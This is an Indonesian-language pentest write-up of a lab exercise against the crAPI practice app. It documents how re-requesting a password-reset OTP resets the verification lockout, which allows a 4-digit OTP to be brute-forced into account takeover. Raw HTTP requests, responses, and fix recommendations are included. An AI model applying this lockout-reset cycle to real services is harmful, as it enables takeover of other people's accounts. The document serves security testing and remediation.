OTP Bruteforce Protection Bypass - Authentication - Password Reset

Kerentanan

[FAIL] OTP Bruteforce Protection Bypass - Authentication - Password Reset

Deskripsi

Verifikasi OTP reset (/v3/check-otp) mengunci setelah 9 percobaan per sesi, NAMUN pembatas ini ter-reset setiap memanggil /forget-password yang sendirinya tidak di-rate-limit/CAPTCHA. Proteksi brute-force dapat dilewati dengan pola siklus.

Dampak

Confidentiality & Integrity: account takeover (ATO) atas pengguna mana pun yang emailnya diketahui melalui brute-force OTP 4-digit (10.000 kombinasi) tanpa hambatan efektif.

CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

OWASP

API2:2023 - Broken Authentication

Skenario

Normal: minta OTP lalu satu percobaan (Invalid). Eksploitasi: forget-password diulang tanpa batas me-reset lockout -> brute-force OTP 4-digit -> ATO -> CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/identity/api/auth/v3/check-otp POST http://127.0.0.1:8888/identity/api/auth/forget-password

Fitur terdampak

Reset Password via OTP (crapi-identity)

Rekomendasi perbaikan

- Rate limit + lockout PERSISTEN per akun (tak ter-reset oleh permintaan OTP baru). - Throttle & CAPTCHA pada forget-password. - OTP >=6 digit, kedaluwarsa singkat.

Bukti konsep

1. (Screenshot 1) NORMAL: POST forget-password {email korban} -> 200, OTP dikirim.
2. (Screenshot 2) NORMAL: POST v3/check-otp satu percobaan salah -> Invalid OTP.
3. (Screenshot 3) EKSPLOITASI + CIA: setelah lockout, panggil forget-password lagi (200, tanpa throttle) -> counter ter-reset & OTP baru; ulangi siklus [reset -> 9 tebakan] hingga OTP tertebak -> reset password korban (ATO).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: minta OTP reset

Alur normal: proses lupa kata sandi mengirim OTP 4 digit ke email korban.

HTTP request

POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]"}

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75

{
  "message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
  "status": 200
}

Normal: satu percobaan OTP

Alur normal: satu percobaan dengan OTP yang salah mendapat respons Invalid OTP.

HTTP request

POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","otp":"1234","password":"[REDACTED-LAB-VALUE]"}

HTTP response

HTTP/1.1 500
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 58

{
  "message": "Invalid OTP! Please try again..",
  "status": 500
}

Dampak: forget-password mengatur ulang lockout

Dampak: forget-password tidak membatasi request dan mengatur ulang lockout. Pola [reset -> 9 tebakan] diulang hingga OTP 4 digit ditembus dan penyerang dapat mereset kata sandi korban. Pengambilalihan akun (ATO) yang tercatat berdampak pada kerahasiaan dan integritas.

HTTP request

POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]"}
# forget-password DIPANGGIL ULANG (tanpa rate-limit) => counter lockout ter-RESET & OTP baru terbit

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75

{
  "message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
  "status": 200
}

← Kasus sebelumnya: OTP Bruteforce Protection - Authentication - Password Reset (Per-Session Lockout) Kasus berikutnya: Server-Side Request Forgery - Workshop - Contact Mechanic →